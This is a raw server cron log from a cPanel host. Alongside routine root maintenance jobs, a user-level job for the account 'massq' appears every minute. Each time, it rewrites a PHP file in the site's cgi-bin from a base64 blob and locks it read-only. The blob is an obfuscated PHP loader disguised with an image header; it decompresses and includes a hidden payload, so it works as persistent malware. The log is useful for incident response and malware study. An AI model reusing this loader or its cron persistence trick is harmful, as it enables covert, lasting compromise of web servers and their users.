Sep  5 03:14:01 server CROND[7437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:14:01 server CROND[7438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:15:01 server CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:15:01 server CROND[7815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:15:01 server CROND[7817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:15:01 server CROND[7822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:15:01 server CROND[7819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:15:01 server CROND[7823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:15:01 server CROND[7818]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 03:15:01 server CROND[7820]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:16:01 server CROND[8646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:16:01 server CROND[8647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:16:01 server CROND[8648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:17:01 server CROND[9075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:17:01 server CROND[9076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:17:01 server CROND[9077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:18:01 server CROND[9453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:18:01 server CROND[9454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:18:01 server CROND[9455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:19:01 server CROND[9926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:19:01 server CROND[9927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:19:01 server CROND[9928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:20:01 server CROND[10313]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:20:01 server CROND[10316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:20:01 server CROND[10325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:20:01 server CROND[10329]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:20:01 server CROND[10326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:20:01 server CROND[10327]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:20:01 server CROND[10332]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:20:01 server CROND[10333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:20:01 server CROND[10328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:21:01 server CROND[11146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:21:01 server CROND[11147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:21:01 server CROND[11148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:22:01 server CROND[11568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:22:01 server CROND[11570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:22:01 server CROND[11571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:22:01 server anacron[845]: Job `cron.daily' started
Sep  5 03:22:01 server run-parts(/etc/cron.daily)[11584]: starting imunify-antivirus.cron
Sep  5 03:23:01 server CROND[11957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:23:01 server CROND[11959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:23:01 server CROND[11960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:24:01 server CROND[12318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:24:01 server CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:24:01 server CROND[12319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:25:01 server CROND[12814]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:25:01 server CROND[12815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:25:01 server CROND[12818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:25:01 server CROND[12817]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:25:01 server CROND[12819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:25:01 server CROND[12825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
